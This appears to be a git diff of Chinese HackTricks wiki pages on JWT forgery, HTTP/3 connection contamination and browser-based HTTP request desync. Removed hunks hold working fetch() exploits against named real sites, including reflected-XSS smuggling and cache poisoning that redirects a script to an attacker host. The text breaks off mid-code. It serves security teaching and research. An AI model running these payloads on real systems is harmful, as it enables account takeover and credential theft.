如果JWT像以下场景中那样嵌入了一个公钥:
|
||||
如果 JWT 嵌入了公钥,就像以下情况一样:
|
||||
|
||||
![](<../.gitbook/assets/image (438).png>)
|
||||
|
||||
使用以下nodejs脚本可以从那些数据生成一个公钥:
|
||||
使用以下的 Node.js 脚本可以从这些数据中生成一个公钥:
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
@ -208,13 +207,13 @@ const key = new NodeRSA();
|
|||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||||
console.log(importedKey.exportKey("public"));
|
||||
```
|
||||
可以生成新的私钥/公钥,将新的公钥嵌入令牌中,并使用它来生成新的签名:
|
||||
可以生成一个新的私钥/公钥,将新的公钥嵌入令牌中,并使用它来生成一个新的签名:
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
你可以使用以下的nodejs脚本来获取 "n" 和 "e":
|
||||
您可以使用以下的Node.js脚本获取“n”和“e”:
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
@ -224,36 +223,50 @@ const publicComponents = key.exportKey('components-public');
|
|||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||||
```
|
||||
使用公钥和私钥以及新的 "n" 和 "e" 值,您可以使用 [jwt.io](https://jwt.io) 伪造一个包含任何信息的新有效 JWT。
|
||||
最后,使用公钥和私钥以及新的“n”和“e”值,您可以使用[jwt.io](https://jwt.io)伪造一个带有任何信息的新有效JWT。
|
||||
|
||||
### JTI(JWT ID)
|
||||
### JTI (JWT ID)
|
||||
|
||||
JTI(JWT ID)声明提供了 JWT 令牌的唯一标识符。它可以用来防止令牌被重放。\
|
||||
然而,想象一个 ID 的最大长度为 4(0001-9999)的情况。请求 0001 和 10001 将使用相同的 ID。所以如果后端在每个请求上递增 ID,您可以利用这一点来**重放请求**(需要在每次成功重放之间发送 10000 个请求)。
|
||||
JTI(JWT ID)声明为JWT令牌提供了一个唯一标识符。它可用于防止令牌被重放。\
|
||||
然而,想象一种情况,ID的最大长度为4(0001-9999)。请求0001和10001将使用相同的ID。因此,如果后端在每个请求中递增ID,您可以滥用此功能来**重放请求**(需要在每次成功重放之间发送10000个请求)。
|
||||
|
||||
### JWT 注册声明
|
||||
### JWT注册声明
|
||||
|
||||
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
||||
|
||||
### 其他攻击
|
||||
|
||||
**跨服务中继攻击**
|
||||
|
||||
已经观察到一些Web应用程序依赖于受信任的JWT服务来生成和管理它们的令牌。已记录到,通过JWT服务为一个客户端生成的令牌被同一JWT服务的另一个客户端接受的情况。如果观察到通过第三方服务发放或更新JWT,则应调查使用相同用户名/电子邮件在该服务的另一个客户端上注册帐户的可能性。然后应尝试在请求目标时重放获得的令牌,以查看是否被接受。
|
||||
|
||||
- 令牌被接受可能表示存在严重问题,可能允许欺骗任何用户帐户。但应注意,如果在第三方应用程序上注册,可能需要更广泛的测试权限,因为这可能涉及法律灰色地带。
|
||||
|
||||
**令牌到期检查**
|
||||
|
||||
使用“exp”有效载荷声明检查令牌的到期时间。鉴于JWT通常在没有会话信息的情况下使用,需要谨慎处理。在许多情况下,捕获并重放另一个用户的JWT可能会使该用户被冒充。JWT RFC建议通过利用“exp”声明为令牌设置到期时间来减轻JWT重放攻击。此外,应用程序实施相关检查以确保处理此值并拒绝过期令牌的处理至关重要。如果令牌包含“exp”声明并且测试时间允许,建议在到期时间过后存储令牌并重放它。可以使用jwt_tool的-R标志读取令牌的内容,包括时间戳解析和到期检查(时间戳为UTC时间)。
|
||||
|
||||
- 如果应用程序仍然验证令牌,则可能存在安全风险,因为这可能意味着令牌永远不会过期。
|
||||
|
||||
### 工具
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**漏洞赏金提示**:**注册** **Intigriti**,一个由黑客创建的高级**漏洞赏金平台**!立即加入 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
|
||||
**漏洞赏金提示**:**注册**Intigriti,一个由黑客创建的高级**漏洞赏金平台**!立即加入我们,访问[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**上关注**我。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,72 +2,28 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
**本文内容摘自** [**https://portswigger.net/research/http-3-connection-contamination**](https://portswigger.net/research/http-3-connection-contamination)\*\*\*\*
|
||||
**这是一篇文章的摘要:[https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**。查看以获取更多详细信息!
|
||||
|
||||
Web浏览器使用[**HTTP连接合并**](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing),允许它们为发送到**不同网站**的请求**重用**一个**HTTP/2+连接**,前提是这些网站**解析到相同的IP地址**并使用适用于两个主机名的TLS证书。
|
||||
Web浏览器可以通过[HTTP连接合并](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing)在不同的网站之间重用单个HTTP/2+连接,前提是共享IP地址和公共TLS证书。然而,这可能与反向代理中的**首次请求路由**发生冲突,后续请求被定向到由第一个请求确定的后端。这种错误路由可能导致安全漏洞,特别是当与通配符TLS证书和类似`*.example.com`的域结合时。
|
||||
|
||||
**首次请求路由**是一种危险的反向代理行为,代理分析连接上的**第一个请求**以确定将其路由到**哪个后端**,然后将该连接上的所有**后续请求**发送到**同一个后端**。
|
||||
例如,如果`wordpress.example.com`和`secure.example.com`都由同一个反向代理提供服务,并且具有共同的通配符证书,浏览器的连接合并可能会导致`secure.example.com`的请求被错误地处理为WordPress后端,从而利用诸如XSS之类的漏洞。
|
||||
|
||||
**连接合并和首次请求路由不兼容**。例如,假设secure.example.com和wordpress.example.com都位于一个反向代理后面,使用一个对\*.example.com有效的证书:
|
||||
```shell-session
|
||||
$ nslookup wordpress.example.com
|
||||
52.16.179.7 // reverse proxy that supports HTTP/2 and does first-request routing
|
||||
|
||||
$ nslookup secure.example.com
|
||||
52.16.179.7 // same reverse proxy
|
||||
|
||||
$ openssl s_client -connect x.portswigger-labs.net:443
|
||||
subject=/CN=*.example.com // wildcard TLS certificate
|
||||
```
|
||||
如果浏览器尝试发送一个请求到`wordpress.example.com`,然后是`secure.example.com`,浏览器连接合并将强制将这两个请求通过单个连接发送到前端。首次请求路由将导致将请求发送到`secure.example.com`的错误路由到WordPress后端。这意味着,如果你在`wordpress.example.com`上发现了[XSS](https://portswigger.net/web-security/cross-site-scripting),你可以利用它来危害`secure.example.com`!
|
||||
```javascript
|
||||
// create HTTP/2+ connection
|
||||
fetch('https://wordpress.example.com/', {credentials: 'include'})
|
||||
|
||||
// connection coalescing will force this down the same connection...
|
||||
// ...leading to the front-end misrouting it to WordPress
|
||||
// the browser thinks our injected JS is coming from secure.example.com
|
||||
// exposing saved passwords, cookies, etc.
|
||||
location='https://secure.example.com/plugin/x?q=<script>stealPasswords()'
|
||||
```
|
||||
你可以使用Chrome开发者工具中的网络选项卡下的**时间图**(或者如果你是个受虐狂,可以使用Wireshark)来**探索连接合并**。使用fetch()发出请求对,并观察图表是否显示第二个请求的“初始连接”所花费的时间,并且连接ID列是否匹配:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
要观察连接合并,可以使用Chrome的网络选项卡或类似Wireshark的工具。以下是用于测试的代码片段:
|
||||
```javascript
|
||||
fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=>{ fetch('//sub2.hackxor.net/', {mode: 'no-cors', credentials: 'include'}) })
|
||||
```
|
||||
{% endcode %}
|
||||
威胁目前受限于首次请求路由的罕见性和HTTP/2的复杂性。然而,HTTP/3中提出的改变放宽了IP地址匹配要求,可能扩大攻击面,使具有通配符证书的服务器更易受攻击,而无需进行中间人攻击。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
我还没有投入足够的时间来深入探索这个威胁或在野外进行扫描,因为我认为它目前是罕见的,有两个原因。首先,第一次请求路由相对较少见,而HTTP/2的实现复杂性意味着相对于HTTP/1.1,唯一的HTTP/2服务器数量很少。其次,连接合并意味着执行第一次请求路由的HTTP/2服务器可能会间断性地对真实访问者产生影响,因此所有者可能会在没有攻击者鼓励的情况下修复漏洞。
|
||||
|
||||
尽管如此,对于攻击者来说并非全是坏消息。**HTTP/3提议**[**删除IP地址匹配的要求**](https://www.rfc-editor.org/rfc/rfc9114.html#name-connection-reuse)**,这将暴露所有使用第一次请求路由并具有适用于多个主机的证书的前端的人**。
|
||||
|
||||
这也带来了第二个风险,与第一次请求路由无关 - 这意味着一个**被入侵的具有通配符证书的服务器不再需要中间人攻击来利用**。实际上,这极大地增加了可能从中获利的恶意行为者的数量。
|
||||
|
||||
为了在这些风险成为现实之前避免它们,确保您的反向代理不执行第一次请求路由。您可以在Repeater中手动测试此功能,方法是启用HTTP/1和HTTP/2连接重用,并使用[HTTP Request Smuggler](https://github.com/PortSwigger/http-request-smuggler)中的'Connection-State'攻击进行扫描。此外,请注意,尽管通配符TLS证书从来都不是理想的选择,但HTTP/3意味着一个被入侵的具有通配符证书的服务器现在可以用于攻击没有主动中间人攻击的同级域。
|
||||
|
||||
这些新的威胁延续了网络基础设施日益混乱的趋势,其中任何一个网站的弱点都会对整个系统的安全性产生许多非明显的连锁效应。有趣的是,我们将看到这些风险在实践中如何发挥作用。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
最佳实践包括避免在反向代理中使用首次请求路由,并在HTTP/3出现时特别谨慎处理通配符TLS证书。定期测试和对这些复杂、相互关联的漏洞保持警惕对于维护网络安全至关重要。
|
||||
|
|
|
@ -1,317 +1,17 @@
|
|||
# 浏览器 HTTP 请求走私
|
||||
# 浏览器 HTTP 请求串行攻击
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习 AWS 黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想看到您的 **公司在 HackTricks 中被广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我们 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
## CL.0/H2.0 兼容浏览器的解同步
|
||||
|
||||
当 **Content Length** (CL) 头被 **后端服务器** 完全 **忽略** 时,就会发生这种漏洞。然后,后端将 **正文** 视为 **第二个请求方法的开始**。忽略 CL 相当于将其视为值为 0,因此这是一个 CL.0 解同步 - 一个 [已知的](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf) 但较少探索的攻击类别。
|
||||
|
||||
![](<../../.gitbook/assets/image (3) (1) (2).png>)
|
||||
|
||||
攻击之所以可能,是因为后端服务器根本 **没有预料到 POST 请求**。
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,这种漏洞是由完全 **有效的**、符合规范的 **HTTP 请求** **触发** 的。这意味着 **前端没有任何机会保护** 免受其影响,甚至可能被浏览器触发。
|
||||
{% endhint %}
|
||||
|
||||
**CL.0** 和 **H2.0** 之间的唯一 **区别** 是后者使用的是 **HTTP2**(它有一个隐式的内容长度头),但 **后端也不使用**。
|
||||
|
||||
## 客户端解同步
|
||||
|
||||
传统的解同步攻击会 **污染** **前端和后端** 服务器之间的 **连接**,因此在不使用前端/后端架构的网站上是不可能的。从现在开始,这些是 **服务器端解同步**。大多数 **服务器端解同步** 只能由 **自定义 HTTP 客户端发出格式错误的请求** 来触发。
|
||||
|
||||
**浏览器引起解同步** 的能力使得一整个新的威胁类别称为 **客户端解同步** (CSD) 成为可能。\
|
||||
CSD 攻击从 **受害者访问攻击者的网站** 开始,然后使他们的浏览器向易受攻击的网站发送 **两个跨域请求**。**第一个** 请求被设计为 **解同步浏览器的连接** 并使 **第二个请求触发** 有害的响应,通常使攻击者控制受害者的账户。
|
||||
|
||||
### 检测
|
||||
|
||||
CSD 向量是具有 **两个** **关键** 属性的 HTTP 请求。
|
||||
|
||||
首先,**服务器必须忽略请求的 Content-Length (CL)**。这通常是因为请求要么 **触发了服务器错误**,要么服务器根本 **没有预料到对选定端点的 POST 请求**。尝试针对 **静态文件** 和 **服务器级重定向**,并通过 **过长的 URL** 和 **半格式错误** 的请求(如 /%2e%2e)来触发错误。
|
||||
|
||||
其次,请求必须能够在 **浏览器中跨域触发**。浏览器严格限制对跨域请求的控制,因此您对头部的控制有限,如果您的请求有正文,您将需要使用 HTTP POST 方法。最终,您只能 **控制** **URL**,加上一些零碎的东西,如 **Referer 头**、**正文** 和 **Content-Type 的后半部分**。
|
||||
|
||||
#### CL 忽略测试
|
||||
|
||||
测试此配置错误的方法是 **发送 2 个请求并在中间走私一个**。如果 **走私的** 连接 **影响了** **第二个** 请求的响应,这意味着它是 **易受攻击的**:
|
||||
|
||||
![](<../../.gitbook/assets/image (1) (2) (2) (1).png>)
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,您 **不能** 仅通过发送一个 **比发送的更大的 Content-Length** 并 **寻找超时** 来测试这个漏洞,因为有些服务器即使 **没有收到整个正文** 也会 **响应**。
|
||||
{% endhint %}
|
||||
|
||||
重要的是要注意目标网站是否支持 HTTP/2。CSD 攻击通常利用 HTTP/1.1 连接重用,而网络 **浏览器更喜欢尽可能使用 HTTP/2**,所以如果目标 **网站支持 HTTP/2,您的攻击不太可能成功**。有一个 **例外**;一些 **转发代理不支持 HTTP/2**,所以您可以利用使用它们的任何人。这包括企业代理、某些侵入性 VPN 甚至一些安全工具。
|
||||
|
||||
### 确认
|
||||
|
||||
首先,选择一个用于发起攻击的站点。该站点必须通过 HTTPS **访问** 并位于与目标 **不同的域上**。
|
||||
|
||||
接下来,确保您 **没有配置代理**,然后浏览到您的攻击站点。打开 **开发者工具** 并切换到 **网络标签页**。为了帮助您稍后调试潜在问题,我建议进行以下调整:
|
||||
|
||||
* 选择 **"保留日志"** 复选框。
|
||||
* 右键单击列标题并 **启用 "连接 ID" 列**。
|
||||
|
||||
切换到开发者控制台并执行 JavaScript 来复制您的攻击序列使用 fetch()。这可能看起来像是:
|
||||
```javascript
|
||||
fetch('https://example.com/', {
|
||||
method: 'POST',
|
||||
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
|
||||
mode: 'no-cors', // ensure connection ID is visible
|
||||
credentials: 'include' // poison 'with-cookies' pool
|
||||
}).then(() => {
|
||||
location = 'https://example.com/' // use the poisoned connection
|
||||
})
|
||||
```
|
||||
### 利用 - 存储
|
||||
|
||||
一种选择是识别目标站点上允许您**存储文本数据**的功能,并制定前缀,使得受害者的cookies、认证头或密码最终被**存储在您可以检索的地方**。这种攻击流程与[服务器端请求走私几乎完全相同](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests),因此我不会详细讨论。
|
||||
|
||||
### 利用 - **链式\&转移**
|
||||
|
||||
在正常情况下,许多类别的**服务器端攻击**只能由直接访问目标网站的攻击者发起,因为它们**依赖于浏览器拒绝发送的HTTP请求**,比如**篡改** **HTTP头** - 网络缓存投毒、大多数服务器端请求走私、主机头攻击、基于User-Agent的[SQLi](https://portswigger.net/web-security/sql-injection)、CSRF JSON Content-type以及其他许多攻击。
|
||||
|
||||
成功攻击的最简单路径来自两种通常用于服务器端解同步攻击的关键技术:[**通过主机头重定向进行JavaScript资源投毒**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect),以及使用[**HEAD方法**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head)将带有有害HTML的响应拼接在一起。这两种技术都需要**适应**一些与在**受害者浏览器**中操作相关的新颖挑战。
|
||||
|
||||
## 利用示例
|
||||
|
||||
### 堆叠HEAD示例
|
||||
|
||||
* **彩色利用**
|
||||
|
||||
![](<../../.gitbook/assets/image (2) (3).png>)
|
||||
|
||||
* **JS利用**
|
||||
```javascript
|
||||
fetch('https://www.capitalone.ca/assets', {
|
||||
method: 'POST',
|
||||
// use a cache-buster to delay the response
|
||||
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
|
||||
credentials: 'include',
|
||||
mode: 'cors' // throw an error instead of following redirect
|
||||
}).catch(() => {
|
||||
location = 'https://www.capitalone.ca/'
|
||||
})va
|
||||
```
|
||||
解释:
|
||||
|
||||
* 在 /assets 中**滥用 CL.0**(它会重定向到 /assets/ 并且不检查 CL)
|
||||
* **走私**一个 **HEAD** 请求(因为 HEAD 响应仍然包含 content-length)
|
||||
* **走私**一个 **GET** 请求,其**内容**将在响应中以载荷**反射**
|
||||
* 由于 **HEAD 请求的 content-length**,此请求的**响应**将是 **HEAD 请求的正文**
|
||||
* 设置 **cors 模式**。通常不这样做,但在这种情况下,服务器对**初始** **POST** 的**响应**是一个**重定向**,如果**跟随**,**利用将不会工作**。因此,使用 **cors 模式** 来**触发**一个**错误**并使用 **`catch`** **重定向**受害者。
|
||||
|
||||
### **Host 头重定向 + 客户端缓存投毒**
|
||||
|
||||
* **JS 漏洞**
|
||||
```javascript
|
||||
fetch('https://redacted/', {
|
||||
method: 'POST',
|
||||
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
|
||||
credentials: 'include'}
|
||||
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
|
||||
```
|
||||
* 向`/+webvpn+/`的请求中,如果**Host头部**的**域名不同**,会收到一个重定向到该Host头部中的**域名**的`/+webvpn+/index.html`。
|
||||
* 在**第二个**请求中,location被设置为`/+CSCOE+/win.js`,以便对该`.js`文件的**缓存**进行**污染**。
|
||||
* 这个请求将会收到一个重定向,从`/+webvpn+/`重定向到攻击者的域名,路径为`/+webvpn+/index.html`
|
||||
* **`win.js`**的**缓存**将会被**污染**,重定向到**攻击者**的页面,同时**受害者**也会**跟随**`location`变量中指定的重定向,最终进入攻击者的网页。
|
||||
* 然后,攻击者将会将**受害者**重定向到`https://redacted/+CSCOE+/logon.html`。这个页面将会导入`/+CSCOE+/win.js`。其**缓存是一个重定向**到**攻击者**服务器的,因此,攻击者可以**响应一个恶意的JS**。
|
||||
|
||||
**受害者**将会**两次访问**攻击者的页面,第一次它**期望一个HTML**,将受害者重定向回`https://redacted/+CSCOE+/logon.html`,第二次它**期望javascript代码**(有效载荷)。一个多用途文件可以被用来仅用一个响应来提供两种回应:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
|
||||
alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/
|
||||
```
|
||||
### 带有分块TE的HEAD负载
|
||||
|
||||
在寻找CSD时,您也可以**测试半格式错误的**URL,例如`/..%2f`或`/%2f`。
|
||||
|
||||
* **彩色利用**
|
||||
|
||||
![](<../../.gitbook/assets/image (5) (2) (1).png>)
|
||||
|
||||
* **JS利用**
|
||||
```javascript
|
||||
fetch('https://www.verisign.com/%2f', {
|
||||
method: 'POST',
|
||||
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
|
||||
credentials: 'include',
|
||||
headers: {'Content-Type': 'application/x-www-form-urlencoded'
|
||||
}}).catch(() => {
|
||||
let form = document.createElement('form')
|
||||
form.method = 'POST'
|
||||
form.action = 'https://www.verisign.com/robots.txt'
|
||||
form.enctype = 'text/plain'
|
||||
let input = document.createElement('input')
|
||||
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
|
||||
input.value = ''
|
||||
form.appendChild(input)
|
||||
document.body.appendChild(form)
|
||||
form.submit()
|
||||
}
|
||||
```
|
||||
* 访问页面 **`/%2f`** 来利用 **CL.0** 漏洞。
|
||||
* 使用 **`Transfer-Encoding: chunked` 头部** 来走私一个 **HEAD** 请求。
|
||||
* 在这种情况下需要此头部,因为否则 **服务器拒绝接受带有正文的 HEAD 请求**。
|
||||
* 然后,用户发送一个 POST 请求,其正文包含了前一个 HEAD 请求的 **结束块** 和一个被走私的**新请求**,其中包含将在响应中被**反映**的**内容**(JS 载荷)。
|
||||
* 因此,浏览器将把 **对 HEAD 请求的响应** 视为 **对 POST 请求的响应**,后者的**正文**响应中也将**包含**反映了用户在第二个走私请求中的**输入**。
|
||||
|
||||
### Host 头部重定向 + RC
|
||||
|
||||
* **JS 漏洞利用**
|
||||
```html
|
||||
<script>
|
||||
function reset() {
|
||||
fetch('https://vpn.redacted/robots.txt',
|
||||
{mode: 'no-cors', credentials: 'include'}
|
||||
).then(() => {
|
||||
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
|
||||
})
|
||||
setTimeout(poison, 120) // worked on 140. went down to 110
|
||||
}
|
||||
|
||||
function poison(){
|
||||
sendPoison()
|
||||
sendPoison()
|
||||
sendPoison()
|
||||
setTimeout(reset, 1000)
|
||||
}
|
||||
|
||||
function sendPoison(){
|
||||
